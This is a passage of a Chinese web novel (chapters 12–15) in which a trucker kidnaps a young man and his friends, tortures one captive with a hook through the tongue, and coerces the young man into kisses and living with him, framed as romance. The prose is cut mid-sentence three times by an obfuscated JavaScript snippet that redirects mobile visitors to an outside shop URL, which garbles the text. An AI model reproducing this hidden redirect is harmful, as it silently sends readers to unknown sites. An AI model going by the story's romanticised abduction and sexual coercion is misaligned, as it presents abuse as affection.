锈铁钉提着食物回到卡车旁,拉开车门将东西随手扔进驾驶座,随后将嘴里的烟蒂丢在地上,用鞋尖碾灭。 他转头看了眼中心的两个老鼠,随手拍了拍旁边一个棕发男人的肩膀,朝梅尔的方向抬了抬下巴:“喏,那边有位女士在找你。” 棕发男顺着锈铁钉指的方向看去,果然看见一个神情焦急的金发女人正四处张望。 他眼睛一亮,有些受宠若惊地整理了一下头发:“没想到我在这儿还挺有市场?” 棕发男咧开嘴,带着毫不掩饰的兴奋朝梅尔走来。 “嘿,小妹妹,一个人啊?”他嬉笑着搭话,像堵墙似的挡在了梅尔面前。 “让开!” 就在此时,她眼角瞥见一个高大的身影正朝着本走过去! 梅尔想冲过去,却被对方缠住。 “别走啊,认识一下别害羞。” “都说了给我让开!” 情急之下,梅尔掏出电击棒狠狠捅在对方腰侧! “啊——!这碧池有电棍!”棕发男惨叫着蜷缩在地,瞬间吸引了在场所有人的目光。 “喂喂喂,你想干什么?” 一时间,梅尔被不少人给围了起来。 本还僵在原地,根本没发现锈铁钉从后方悄无声息地贴近,动作迅速,一记手刀精准劈在他后颈。 本连哼都没哼一声,直接软倒下去。 人群中有几道目光扫过,又迅速移开。 在这里,多管闲事的人通常活不长。 锈铁钉瞥了眼远处正被醉汉们纠缠的梅尔,单手拖住本的衣领像拖麻袋一样一路拖到了卡车后厢。 他随意地拿了麻绳将对方绑起来,将后备厢关上。 不远处被纠缠的梅尔眼睁睁看着那个高大的身影将本拖向卡车。 她想追,可周围的人群像铁桶一样困住了她。 不远处的车内,凯拉一直在冷眼旁观。 当她看见梅尔被那群人围住,而本的身影已从原地消失时,她觉得机会来了。 凯拉握方向盘,毫不犹豫地调转车头,将仍被困在人群中的梅尔与下落不明的本彻底抛在身后,驾车疾驰而去。 锈铁钉坐回到驾驶座扫视了一眼被困住的梅尔,还有刚离开的汽车。 他收回视线,嘴角几不可察地动了一下。 有意思的事情发生了。 12. Chapter 12 梅尔下意识用电击棒将周围几个阻挠的人全部电倒后,她立马冲着缓缓离开的卡车歇斯底里地大喊道:“停下——!!波比——!!” 但她的声音很快就被周围的声音被淹没,“这疯女人在伤人!不能让她跑了!” “快报警!等警察来抓她!” 就在这混乱之中,梅尔眼睁睁地看着那辆卡车的尾灯已经越来越远。 与此同时,细雨开始从空中飘落,淅淅沥沥,雨势越来越大…… 梅尔抹了把脸上的雨水,不顾一切地挥动电击棒,将围堵的人群狠狠逼退。 电流噼啪作响,周遭的人瞬间瘫倒一片。 她喘息着,狠狠咬了下舌尖强迫自己清醒,随后猛地拉开一辆车的驾驶座门,将里面的司机电晕拽出。 梅尔虚弱地坐进驾驶座,她在淋漓的雨幕中一脚将油门踩到底,朝着卡车消失的方向狂追而去。 另一边。 偷摸逃离的凯拉正驾驶着车辆加速地朝着最近的警局行驶,但因为他们已经来到了洲际线,即使是加速也得开半天。 不过唯一庆幸的是她已经逃脱了那里。 虽然对不住梅尔和本,但事已至此,活下来才是最重要的! 就在凯拉不断在内心给自己找理由的时候,她完全没注意到车后方的雨幕中,一辆卡车正从远处高速逼近。 那卡车如同融入了浓稠的夜色,喧嚣的雨声完美遮掩了它的引擎轰鸣,让它不动声色地滑行到了她的车尾后方。 突然—— “啪!” 刺痒的远光灯毫无征兆地从后方全开,凯拉被闪得眼前一白,她下意识松开方向盘去遮挡眼睛,方向盘猛转,车身在湿滑的路面上骤然失控! 好在凯拉反应速度,她慌忙握紧方向盘,将几乎失控的车身勉强扳回车道。 “靠!这人怎么开车的?”凯拉惊魂未定地看向后视镜,身后有一辆重型卡车正紧紧地贴着车尾。 凯拉以为是自己开到了对方的视线盲区,急忙将车子往右偏移,与此同时将车窗摇下一点,对着那辆卡车大声喊道:“喂!注意点啊!” 就在这个时候,那辆卡车突然向右逼近,庞大的车身几乎要贴上轿车,直接把凯拉吓了一跳! 但很快它又迅速放慢了车速,继续保持着与轿车平行的速度。 两辆车就这样在湿滑的公路上并排行驶。 “这到底在搞什么?”就在凯拉有些疑惑地时,那辆卡车居然直接挤了过来! 凯拉察觉到不对,一踩到底将油门试图向前冲刺挣脱挣脱这致命的困局。 可卡车如影随形地死死咬住她,丝毫不给她脱身的机会。 卡车驾驶座内,锈铁钉饶有兴致地挑了挑眉,将油门缓缓踩到底,同时向右猛打方向盘! “砰——!” 卡车狠狠撞向了轿车! 剧烈的撞击中,轿车不断翻滚着冲下公路面,翻滚的痕迹在路面积水上擦出一片刺目的水花,随即彻底失去了动静。 锈铁钉笑着瞥了一眼后视镜中那团翻滚的事故,踩下油门,加速地朝着废弃间的方向行驶而去。 刚刚那个,就当是送给后面那只老鼠的“犒劳”吧。 ——————————— 另一边的郗涟静静地躺在地上,双眼无神地望着周围。 这空间封闭得令人窒息,他看不到任何逃脱的机会。 翻身时,后背突然被什么东西硌了一下。 他撑起身,掀开那件盖着的大衣,发现底下居然压着一本书。 《拉斯维加斯地图指南》。 没想到他丢的书居然在这里……所以那家伙那天晚上就已经知道本他们在恶作剧了。 不仅如此,对方还很可能还进过房间……就这样无声无息地看着他们熟睡的样子。 一想到这里,郗涟整个人止不住地颤抖起来。 他从来没想过自己会和一个根本不认识的男人纠缠不清,更何况对方是个疯子! 就在这时,门外隐隐约约传来了车辆熄火的响动。 锈铁钉一手拖着昏迷不醒的本,将他随意丢到波比旁边,另一只手则拎着刚从自动售卖机买来的东西,小心地放在了桌子上。 他将本和波比并排捆在同一根柱子上后,从口袋里掏出钥匙,提着桌上的袋子,打开了面前紧闭的铁门。 门一开,就看到了他心心念念的“小甜甜”,正缩在角落,抱着膝盖蹲在地上,眼角泛红,沉默地盯着地面。 看样子,似乎很怕他。 锈铁钉心想着关上门,几步走到郗涟面前,一把抓住对方细瘦的手腕,将人直接拽进怀里。 郗涟的挣扎对他来说,就像小猫挠痒甚至透出几分徒劳的可爱。 他低下头,目光落在怀里人那截白皙脆弱的脖颈上,喉结不自觉地滚动了一下。 真想就这么咬下去。 但是又担心这细皮嫩肉会留下明显的伤痕。 毕竟之前绑手腕时,他已经刻意放轻了力道,却还是不小心在皮肤上留下了红痕。 最终,锈铁钉只是克制地亲了亲那片温热的颈侧,感受着怀中人细微的颤抖,将声音压得很低:“给你带了点吃的……我觉得,你会喜欢。” “我,我不吃。” 郗涟拼命向后躲,想要挣脱锈铁钉的怀抱。 为什么要亲他的脖子?这举动已经足够诡异。 而下一秒对方说出的话,更让他浑身发冷:“你的朋友,我又请来一位。” 郗涟嘴唇动了动,却发不出声音。 一想到对方可能会把所有人都,他就控制不住地发抖,眼泪无声地滚落下来。 泪珠砸在锈铁钉横在他身前的手臂上。 锈铁钉顿了顿,随即掐住郗涟的脸颊,手指收紧到郗涟疼得蹙起眉。 “为什么哭?” 锈铁钉心想,难道吃他买的东西,就这么难受吗? 不过没关系,他的小甜心必须习惯。 毕竟,他们会在一起生活很久、很久。 郗涟抬起湿漉漉的眼睛,睫毛颤动着,无声地向他哀求。 锈铁钉凝视着这双眼睛,半晌,只是低头吻了吻他湿润的眼角。 “甜心,”他的声音沉缓,带着不容置疑的意味,“你知道,我不会想听你说那些话。” 郗涟被锈铁钉盯得头皮发麻,他强忍着害怕接过了对方手中的袋子。 他往里看去。没想到居然是先前在便利店买的汽水。 这时,郗涟才猛然想起,自己先前在汽车旅馆旁的便利店内,似乎不小心撞到过一个高大的男人…… 他看了锈铁钉一眼,没想到居然是他。 不过袋子里居然是这些吗? 他还以为是什么恐怖的东西…… 郗涟见锈铁钉丝毫没有离开的意思,视线像黏在自己身上般一动不动。 郗涟:“……” 他实在不想喝,可对方这幅不容拒绝的架势让郗涟别无选择。 他动作僵硬地从袋子里拿出那罐饮料,拉开拉环,抿了一小口,声音低得几乎听不见:“……我喝了。” 锈铁钉满意地揉了揉郗涟的头发。 真是难得。他第一次遇到这么顺眼的人。 和那些他曾不屑一顾的“猪猡”相比,郗涟简直干净柔软得要命。 尤其是现在这副明明不情愿却还是乖乖听话的模样。 “你想得怎么样了,甜心?” “我……” 郗涟根本不知道该说什么,但是他又害怕直接拒绝会引来锈铁钉的暴怒,为什么这种事情要发生在他的身上啊! 锈铁钉从郗涟的沉默与退缩中,读懂了答案。 这让他久违地感到一种暴烈的怒意。而这股被压抑的怒火,注定要由外面那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17063894|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “猪猡”和“老鼠”来加倍偿还。 锈铁钉突然将郗涟打横抱起。 这动作直接把郗涟给吓了一跳,一抬头看到对方阴狠的表情,他又不敢动了。 锈铁钉察觉到自己吓到了“小甜甜”,脸上的阴霾迅速褪去,语气温和地说道:“我们先离开这里。毕竟下雨了,万一你生病了可怎么办?”话音未落,他就强势地抱着郗涟径直走出了房间。 走出房间后,郗涟终于看清了周围还有被捆在柱子上的波比和本。 波比的状态糟糕极了,脸上没有一丝血色,膝盖处的布料浸透了暗色,情况显然不妙。 而本……他怎么会穿着一身女装? 他还没看清楚,视线就被宽大的外套遮挡。 紧接着是雨水打落的声响。 废弃仓库外大雨滂沱,锈铁钉冒着雨水将郗涟抱进卡车副驾,俯身贴近他耳边说道:“乖乖坐着,别乱动。” 随后,“咔哒”一声,锈铁钉直接从外面锁上了车门。 郗涟僵在副驾驶座上,眼睁睁看着车窗外锈铁钉的身影转身,重新没入仓库的阴影中。 确认对方离开后,他立刻在车内四处摸索,焦急地寻找任何能撬开车锁的工具…… —————————————— 走进仓库。 锈铁钉原本温和的表情瞬间变得阴沉,他的目光扫过蜷缩在角落的两人,径直走向本。 他一把攥住本的头发,毫不留情地将人从地上硬生生拖拽起来,迫使他的脑袋向后仰起一个痛苦的角度。 剧痛将本从昏沉中猛然拽醒。 他痛哼出声,视线还一片模糊,就听见一道带着笑意的声音从头顶落下:“醒得正好。不如我们玩个游戏?给你个机会,活动活动筋骨。” 波比根本不敢看那个如恶魔般的男人。 他只能在心里拼命祈祷: 要么,波比能撑过去;要么,就早点解脱吧。 锈铁钉垂眼看着手中连着铁钩的链条,阴冷地笑着说道:“我用这个绑在你嘴上,然后你拼命往前跑,怎么样?” 本听着锈铁钉的话,瞳孔骤然收缩,拼命摇头。 锈铁钉像是早就等着这样的反应。 “呵呵……你也觉得这个游戏有意思吧?” 本嘴上贴着胶布,惊恐地看着那道高大的身影如铁塔般笼罩下来。 锈铁钉一手如铁钳般扣住他的头颅,另一手毫不留情地“刺啦”一声,将他嘴上的胶布狠狠撕下。 本的嘴角瞬间撕裂,渗出血丝,皮肤火辣辣地灼痛起来。 “求——” 话还没说完,锈铁钉强行掰开本的下巴,那力道重得本都觉得自己的下巴要被捏碎。 “呃啊——!”本痛呼出声,被迫张大了嘴。 当手指碰到本的嘴唇时,锈铁钉脸上掠过一丝毫不掩饰的厌恶, “啧。”他嫌恶地咂舌,随即松开手,直起身,不爽地看着不断大喊大叫的本。 下一秒! 锈铁钉直接抄起地上的铁钩,对着他那因疼痛而无力合拢的嘴,活生生刺穿了下去! “啊啊啊——!”本痛苦到扭曲的惨叫声在仓库内炸开! 一旁的波比被吓得浑身剧烈抽搐起来,眼睛根本不敢看向那可怕的画面。 太可怕了,谁能救救他们! 而在车内焦急翻找工具的郗涟,隐隐约约听到了远处传来的惨叫声。 他下意识转头,就看到一个高大的黑影正朝这里走来。 郗涟吓得立刻缩回座位上,脸色苍白地看着不断靠近的男人。 怎么这么快就回来了?! 这时,车门“吱呀”一声被拉开了。 锈铁钉高大的身影堵在门口,几乎将外界的微光完全遮蔽。 他坐上车,转头对郗涟笑着说道:“等等陪你的朋友玩个游戏,你想看看吗?” 13. Chapter 13 “不……” 郗涟脸色苍白地摇着头,下意识想离锈铁钉远一点。 他只要一想到对方刚刚消失时可能会发生的事情,就忍不住感到害怕。 锈铁钉毫不在意郗涟的抵抗,对他而言,只要“小甜甜”能老老实实待在他身边就足够了。 他启动卡车,车身在滂沱的雨幕中缓缓向前驶去。 郗涟正心神不宁地想着如何逃离时锈铁钉的控制时,目光无意看向车外的后视镜,没想到这一看就让他看到了感到窒息的画面。 滂沱的大雨中,本就在后方不远处踉跄地奔跑着,他脸色发青,嘴无力地张着,整个人看起来非常凄惨。 而让郗涟难以置信的是—— 本的舌头,竟被一枚铁钩刺透! 那铁钩末端还连着一根长长的铁链,那铁链拖在地上在雨水中看着格外显眼。 本表情非常痛苦,双手被紧紧束缚在身后,身体在滂沱大雨中不受控制地被迫朝前奔跑。 因为着急,本甚至还重重摔倒在地,但又很快挣扎着爬起,跌跌撞撞向前奔跑着。 本看着那根铁链的长度,未知的恐惧已经压倒了一切。 他不敢想象舌头被活生生撕裂的画面,只能不顾一切地往前奔跑,奔跑…… 郗涟看得开始有些呼吸困难,他不能眼睁睁看着本就这样被活生生折磨。 郗涟扭过头看着驾驶座那个和恶魔一样的男人,哀求着说道:“别这样了,求求你锈铁钉,放过他吧…” 锈铁钉下意识降低车速,侧头看了一眼身旁脸色苍白、盈满泪光的黑发青年。 他伸出手,安抚般揉了揉郗涟的头发,然后什么话也没说,继续慢吞吞地驾驶着车。 郗涟见对方丝毫没有停车的迹象,心一横! 突然倾身向前,在锈铁钉的脸颊上仓促地亲了一下,下巴的胡渣像铁丝一样扎人,刺得郗涟的嘴唇疼。 刺耳的刹车声骤然响起,卡车在湿漉漉的地面上拖出一道长长的水痕。 锈铁钉转过头,盯着郗涟泪眼朦胧的脸看了几秒, 郗涟被他看得浑身发毛,却又强撑着不敢退缩,他反正已经豁出去了!到底要怎样啊?! 锈铁钉忽然低笑一声,猛地伸手攥住郗涟单薄的肩膀,几乎是将人扯进怀里,随即低下头,强硬地吻了上去。 郗涟被这突如其来的侵略吓得浑身一僵,刚想说什么,对方的舌头强硬地闯了进去。 浓重得化不开的烟草味瞬间席卷了他的感官,呛得他几近窒息。 郗涟下意识抬起双手想要推开,却被锈铁钉一眼看穿意图。 那双眼睛像锁住猎物般盯着他徒劳的挣扎,那点微弱的力气于他而言不过是小猫挠痒般的小打小闹。 锈铁钉漫不经心地攥住郗涟妄图抵抗的手腕,顺势将他整个人抱了起来,双腿分开按坐在自己怀里,还恶意地向上顶了顶,这才终于放开那个已被吻到红肿的唇。 郗涟浑身的皮肤霎时透出一层羞愤交加的粉红,他狼狈地扭开头,声音里带着强压的颤抖:“好、好了……我、我已经答应你了,快点放他离开!” “遵命,我这就下去让他走。”锈铁钉的手仍停留在郗涟脸颊上,指节蹭过那片发烫的皮肤。 随后俯身,在郗涟颊边落下一个吻,低沉地说道:“乖乖在这儿等我。” 锈铁钉将他安置在副驾驶座上,随即转身推开车门,走了下去。 直到锈铁钉离开,郗涟才像骤然清醒过来。 他怔怔地望着车窗上自己模糊的倒影,一种迟来的自我质疑缓缓浮上心头,他刚才究竟做了什么? 那样近乎讨好又主动的举动,真的是他做的吗? 沉默在车厢里弥漫,压得他几乎喘不过气。 郗涟垂下眼,睫毛微微颤抖,嘴还疼得厉害。 可除了这样,他实在不知道自己还能做什么。 车外的锈铁钉一边回味着刚才那个吻,一边顶着雨水,不紧不慢地朝卡车车尾走去。 他现在心情很美好,甚至觉得脚下这位“时髦小子”都顺眼了几分。 毕竟,这“猪猡”已经贡献了他全部的价值。 “快走吧,别来碍眼。”锈铁钉解开了那截铁链,随手像丢弃垃圾般扔到一旁,再没看匍匐在地的本一眼,转身便坐回了驾驶座。 —————————— 本害怕极了,他怕卡车一旦发动,自己跟不上,舌头就会被生生扯断。 而现在,本看着锈铁钉随手解开车尾的铁链像丢弃垃圾一样扔开,也没有多余的动作直接转身离开了。 本不敢再想,趁对方还没改变主意,他用尽最后的力气跌跌撞撞地朝着与卡车相反的方向逃去。 他现在只想逃离这里,越远越好! 直到体力彻底耗尽,本一头栽倒在冰冷的地上,意识沉入黑暗。 —————————— 锈铁钉上车后目光落在副驾上始终沉默的郗涟身上。 “甜心,我已经放过他了。不信的话,你可以从后视镜里看看。” 郗涟迟疑地看向后视镜—— 本正踉跄着从地上爬起,不断地朝着反方向跑去。 不过,人还活着就好。 郗涟收回视线,沉默地望向前路。 他小心地用余光观察驾驶座上的锈铁钉。 这人究竟要带他去哪里? 但至少,对方看起来暂时不会伤害自己吧? “但是波比呢,他们都受伤了,快和梅尔和凯拉他们说一下位置,万一受伤太晚救援的话……” 郗涟泪眼朦胧地看着锈铁钉,见锈铁钉单手控制着方向盘不搭理自己,他想了想,豁出去抱着锈铁钉右手,恳求地说道:“求你了,锈铁钉。” 锈铁钉根本忍不住。他原本还想再克制一下,不想让小甜甜这么快就察觉自己的失控,但他根本控制不了。 小甜甜太甜美了,他恨不得立刻就把对方揉进自己的身体里。 这种陌生而汹涌的冲动,锈铁钉非但不想压抑,反而沉迷其中。 —————————— 另一边,等梅尔驾驶着车追上后,远远就看到公路边翻倒的车辆。 她第一眼只觉得有些眼熟,等靠近后,心猛地一沉,那正是他们租来的车! 驾驶座上的凯拉已经失去了意识。 梅尔当下也没办法质问对方为什么突然驾车逃跑,毕竟眼下救人要紧。 她从车上下来,跑了过去探了探凯拉的鼻息,确认还有呼吸,便咬牙将人拖进车里。 “坚持住……”梅尔咬着牙,几乎是用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066584|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽全身力气,才将昏迷的凯拉从变形的驾驶座里拖出来。 “凯拉?凯拉!”梅尔喊了几声,见凯拉没有任何反应只好拖进自己抢来的车后排。 随后坐到驾驶位,发动引擎,沿着地上车轮行驶的痕迹追了上去。 好在雨没有很大,地面湿润,卡车轮胎碾过的泥痕在路面清晰可见。 梅尔紧盯着那道断断续续的轨迹,抓住这最后一缕线索。 这至少给了她一丝追赶的希望。 可车开出没多远,地上的痕迹消失了。 心里翻涌着难过与不甘,梅尔咬紧牙关,她一定要找到波比。 眼眶阵阵发酸,她突然想起先前关押他们的那间仓库。这附近肯定有类似的地方! 她颤抖着翻出口袋里的地图,借着车内灯辨认方向。 不远处,地图上确实标记着一个废弃的仓库点,旁边潦草地写着“旧储运站”。 梅尔抬头看了看车辙消失的方向,又对比地图。 以锈铁钉那辆卡车的速度和他们耽搁的时间来推算,波比在那里的可能性…… 但愿波比真的在。 “一定要等我……波比。” 梅尔一路按照地图的方向行驶,也发现了这附近有卡车行驶的痕迹,看到这里有处废弃的仓库,她立马停车。 仓库内部空旷阴暗,看起来似乎已经荒废了很久很久。 梅尔怀着最后的希望冲了进去,环顾着四周大喊着:“波比!波比!你在哪里?!回答我!” 仓库的深处传来了微弱的呜呜声。 梅尔抱着最后一丝希望冲进去搜寻,可看到被绑在柱子上奄奄一息的波比时,强忍的情绪瞬间崩溃。 她哭着扑到波比身边,声音哽咽地说道:“亲爱的,你没事就好……” 梅尔颤抖着手,小心地撕掉他嘴上的胶带,然后颤抖着去解那些缠绕在他头上、脖颈上的沉重铁链。 将铁链解开后,梅尔紧紧抱住浑身冰凉的波比,反复低语:“没事的,没事的……” 波比被折磨地身心疲惫,但看到梅尔平安出现,他放心了。 “我马上带你离开这里。”梅尔低声地说道。 波比在梅尔的搀扶下踉跄地回到车边。 他颤抖着手拉开车门,视线不受控制地飘向后座,没想到凯拉躺在那里额头都是血,看起来似乎失去了意识。 他张了张嘴,似乎想说什么,随后又想到了本和郗涟。 “郗涟被那个人带走了。”波比声音沙哑地提醒道。 梅尔当然知道。 可事到如今,一切早已失控。 她最初的目的只是找回波比……而现在能带着波比和昏迷的凯拉离开,都像是侥幸捡回的运气。 掉头回去,和那个疯子硬碰硬,把郗涟抢回来? 她做不到。 “那本呢?” “也被带走了。” “……” 两人沉默了一会,梅尔主动开口说道:“我们先去最近的警局报警,你和凯拉的伤口都需要立刻处理。这是我们现在唯一能做的事了。” “嗯。”波比沉默地点了点头。 梅尔擦掉眼泪,发动车子驶离了这里。 后视镜中那栋建筑越来越小,最终消失在夜色深处。 14. Chapter 14 一辆重型卡车正沿着公路行驶,天色逐渐变得暗黑,两侧的树林也开始浓密起来。 郗涟安静地靠着角落看着车窗外的景色,他有些不安心,但是动作也不敢做太大。 毕竟锈铁钉就在旁边,纵使车内放着悠然的纯音乐,但郗涟的心根本静不下来。 这里是哪里? 没人回答他这个心里的问题,锈铁钉还在开,时不时会看看郗涟在做什么,。 路程长得超出了预期,郗涟根本不知道锈铁钉将自己带到了哪里,持续的颠簸和疲惫最重压过了警惕,他的眼皮越来越重,不知不觉靠着椅子就睡了过去。 锈铁钉察觉到身旁的呼吸变得均匀,瞥了眼副驾驶座上熟睡的小甜甜,他下意识将车速放慢,缓缓停靠在路边。 明明一路上都绷得像只受惊的兔子,最后却还是在他的车上睡着了。 锈铁钉转头盯了郗涟有一会,随后将自己身上的夹克脱下盖在了对方的身上。 他探过身,将副驾驶的椅背缓缓调低,直到郗涟整个人陷进一个更舒展的角度,只露出一张被黑夹克衬得愈发白净的脸。 锈铁钉下意识想摸烟,但瞥见熟睡的郗涟,动作顿住了。 他忍了忍,终究没碰烟盒,却忍不住伸出手,用指腹很轻地蹭了蹭对方的脸颊。 想抽烟的躁动被另一种更汹涌的情绪压了下去。 锈铁钉默默将电台音量调低,踩下油门继续行驶。 与以往独自回家的路段不同。 这次,他带回了他的小甜甜。 ———————————— 不知行驶了多久,卡车终于从主公路拐入一条几乎被荒草掩埋的小径。 随着车辆颠簸着深入,眼前逐渐开阔。 一片宁静的湖泊在月光下泛着细碎的银光,湖畔矗立着一栋老旧的二层洋房。 锈铁钉将卡车熄火停稳,推开车门,随后俯身将熟睡着的郗涟横抱了起来,转身走向那栋老旧的洋房。 似乎见到有人来,洋房门口的狗抬头看了一眼,随后兴奋地摇着尾巴汪汪地叫着。 狗吠声让郗涟在睡梦中不自觉地皱起眉头。 锈铁钉自然也是注意到了这一点,生疏地拍了拍郗涟的后背,同时目光不善地看着狗命令道:“安静点。” 那狗听话地摇了摇尾巴,在原地转了个圈,随后灵活地钻进一旁的小门里。 锈铁钉低头看了眼熟睡的郗涟,随即拉开大门,抱着人径直上了二楼。 他走进一间陈设简单的卧室,将对方放在床上。 锈铁钉借着窗缝漏进的月光,视线毫不避讳地打量着在他床上熟睡的郗涟。 从凌乱的发丝、轻颤的眼睫,最后落到随呼吸微微起伏的胸口。 领口露出的锁骨,在月色下白得晃眼。 似乎察觉到停留在身上的视线,昏睡中的人无意识地蹙了蹙眉。 锈铁钉眉梢微挑,小甜甜这么敏感的吗? ——————————— 郗涟迷迷糊糊地睁开眼,刚才似乎有人在看他……等视线逐渐清晰,他才发现自己正躺在一个完全陌生的房间里。 房间装潢很单调,不过墙壁上似乎挂着不少老旧的车牌,所以这里是哪里?锈铁钉又去了哪儿? 因为光线很暗,郗涟不安地环视四周,确定房间内除了他之外没有其他人后,他小心地下床,自己的衣服还在,只是鞋子被脱了。 郗涟小心地走到房门边,胆战心惊地拉开一道缝。外面是一条安静的走廊,看起来像是一栋住宅。 这里是锈铁钉的家吗? 走廊空无一人,他既有些害怕,又忍不住好奇。 郗涟轻手轻脚地走出去,小心地打开其他紧闭的房门,每一间都落满了灰,看起来很久没人使用过了。 看来锈铁钉似乎不在,他蹑手蹑脚顺着楼梯口走到一层,就听到了水声,听起来似乎有人在洗澡。 是锈铁钉吗? 郗涟想着要不要趁着这个机会离开? 但是他不确定自己能不能离开,毕竟他都不知道自己在什么地方。 郗涟下意识想看看大门在哪里,视线扫过昏暗的客厅时,猝不及防地盒一双发亮的眼睛对上了! 郗涟:“!” 他整个人瞬间僵在原地,连呼吸都下意识屏住,一动不敢动。 那是一只趴在门廊地毯上的大狗,毛色深暗,体格健壮。 郗涟生怕自己一个细微的动作就会刺激这只看起来不好惹的大狗扑上来。 那狗静静盯了他几秒,随后慢吞吞地站起身,踱步过来,低下头仔细嗅了嗅郗涟的裤脚。 随后,它摇了摇尾巴,转身又踱回那块地毯上,重新趴了下来,甚至把头搁在前爪上,闭上了眼睛。 郗涟松了一口气,他小心地环顾四周,发现这里看起来很陈旧,但是收拾得非常整洁。 就在郗涟准备走到大门想出去看看的时候,水声停了。 他心脏猛地一跳,想立刻退回楼上。 浴室里的人,不用想也知道是锈铁钉。 但还没等郗涟动作,浴室门“咔哒”一声被拉开,锈铁钉走了出来。 对方湿漉的黑发凌乱地搭在额前,几缕黏在颈侧,还在滴水。 下半身随意地围着一条白色浴巾,赤裸的上身肌肉线条利落分明。 他随意捋了把湿发,水珠顺着动作甩落。水珠顺着紧实的胸膛与腹肌沟壑缓缓下滑,最终没入浴巾边缘。 郗涟第一次如此清晰地看清对方的脸。 眉骨凌厉,鼻梁高挺,下颌绷出冷硬的线条。 更令人心悸的是那身蔓延的纹身。 深色的蜘蛛图案从肩颈、手臂攀爬至胸腹,线条扭曲盘结,将他整个人笼罩在一股原始而危险的张力里。 整个人都散发着野蛮的侵略性。 锈铁钉盯着他,嘴角极其缓慢地向上牵起一个算不上温和的笑容。 一出来就看见了僵在客厅中央的小甜心。 锈铁钉走过去,拉过郗涟的手,两人几乎贴在一起。他声音低哑地问道:“醒了?甜心。偷偷下来做什么?” “我、我只是想看看这是什么地方。”郗涟被对方身上温热的气息包裹着,整个人都僵住了,不知所措之下只好实话实说。 “当然是我们的家了。”锈铁钉答得理所当然,甚至非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068407|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自然地接下去,“这里好像没你能穿的衣服。等有空我去给你买几件。现在先去洗澡吧,还是说,你希望我帮你?” 郗涟一抬头就撞见锈铁钉结实的胸肌和毫不遮掩的眼神,整个人顿时语塞。 “我,我想一个人住。我还没办法这么快接受和你一起。”说完他就懊恼地低下头。 该死,这话听起来简直荒唐又尴尬。 锈铁钉却低笑了起来:“当然可以。不然你睡觉的时候,我早就顺手帮你了。” “外面天已经黑了,你跑不掉的。就算跑——” 锈铁钉顿了顿又担心自己说的话会吓到郗涟,目光扫向角落里安静伏着的大狗,说道:“小黑也会把你找回来。所以,乖乖跟着我吧。” 郗涟听着锈铁钉的话,瞥了眼角落那只安静伏着的大狗,最终还是顺从地点了点头。 他确实害怕,毕竟以锈铁钉的体格,自己根本毫无反抗之力。 但更令他不安的是另一个念头:这个人难道真的打算“和自己在一起”? 等等,他到底在胡思乱想什么。 锈铁钉低头看着郗涟不断轻颤的睫毛,俯身一把将人抱了起来。 对他而言,郗涟很轻,甚至算得上纤小。 锈铁钉将郗涟放在床上,自己转身从衣柜里面随手扯出一件黑色短袖和长裤,利落地换上。 郗涟见到锈铁钉的动作缓慢转身,却还是不小心瞥见了一截紧实的腰腹线条—— 该死。 脸不受控制地烧了起来。 这大概是他来到这个世界后,头一次遇到如此……直白的人。 又强势,又毫不掩饰对自己的兴趣。 郗涟感到害怕,却毫无办法。 就在郗涟脑子里乱糟糟地回放着刚才令人脸热的画面,并试图把它强行压下去时,一具温热坚实的身体毫无预兆地从背后贴了上来。 锈铁钉刚还完衣服,就看到郗涟背对着自己,连脖颈都泛起了红。 他直接从身后将人圈进怀里,低头亲吻那截泛红的脖颈。没想到怀里的人反应极大,突然挣扎了起来。 “你能不能……”郗涟声音发紧,带着不易察觉的颤抖,努力想让自己的话听起来坚决一些,“先别这样?我不太习惯。” 锈铁钉看着小甜甜湿润泛红的眼眶,以及脖颈上尚未褪去的绯色。 明明是一副被欺负狠了的模样,偏偏那双眼睛还带着不自知的茫然。 这种矛盾的感觉让锈铁钉心里泛起一股说不清的痒意。 他沉默了一会,点了点头。 既然是小甜甜亲口说的,他也不是不能听。 不过很快锈铁钉想起对方刚才“一个人睡”的要求,立刻补上一句:“你得和我睡一张床。放心,没你同意我不会碰你。” 看到郗涟表情开始变化,锈铁钉顿了顿,声音低下来,“毕竟我喜欢你,也享受这个过程。如果你不乐意……” 他斟酌了一下用词。 “……我会很难过的。” 郗涟皱了皱眉,看向锈铁钉。事已至此,他好像也没有别的选择。 他转头瞥了一眼床铺,意思是今晚真的要睡一起吗? 15. Chapter 15 他不知道该怎么回答,但如果不回应,锈铁钉就会一直站在面前盯着自己。 郗涟仰头看了他一会儿,最终缓缓点了点头。 锈铁钉几乎要兴奋得炸开。 为什么小甜甜总是这么顺从?如果对方多反抗一下就好了。这么听话,让他恨不得立刻把人狠狠揉进怀里。 